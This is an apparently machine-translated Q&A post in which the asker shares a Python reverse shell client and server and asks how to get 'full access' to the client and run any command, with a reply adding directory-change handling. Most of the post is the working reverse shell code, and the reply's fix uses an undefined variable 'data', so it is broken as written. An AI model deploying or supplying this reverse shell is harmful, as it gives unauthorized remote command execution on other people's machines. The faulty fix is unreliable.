尝试更改目录时,使用 Python 命令的反向 Shell 命令卡住了

[英]Reverse Shell Command with Python command gets stuck when trying to change directory

我正在尝试使用带有 python 的反向 shell 以完全权限获得完全访问权限。

连接建立后,我可以执行诸如“ipconfig”或“dir”之类的命令(尽管有时在获得“dir”命令的结果之前我需要询问两次。

但是,当我尝试使用“cd..”命令更改目录时,它会卡住并且不返回任何内容。

这是我的客户端文件:

import socket
import subprocess
SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    command = s.recv(1024).decode() 
    if command.lower() == "exit":
        break
    else:
        output = subprocess.getoutput(command)
        s.send(output.encode())
s.close()

这是我的服务器文件:

import socket
SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
while True:
    command = input("Enter the command you wanna execute:")
    client_socket.send(command.encode())
    if command.lower() == "exit":
        break
    else:
        results = client_socket.recv(1024).decode()
        print(results)
client_socket.close()
s.close()

这是我得到的以及卡住的地方:

Listening as 192.168.1.81:5003 ...
192.168.1.81:52553 Connected!
 Enter the command you wanna execute:dir

# It gets stuck here, it does not return anything.

如何获得对客户端的完全访问权限并执行任何可能的命令?

通过使用“os.chdir”方法在客户端文件中使用“os”库解决,如下所示:

import socket
import subprocess

import os # Import this library

SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    command = s.recv(1024).decode() 

    if data[:2].decode('utf-8') == 'cd':
        os.chdir(data[3:].decode('utf-8')) # Use the method change directory called "os.chdir"

    if command.lower() == "exit":
        break
    else:
        output = subprocess.getoutput(command)
        s.send(output.encode())
s.close()
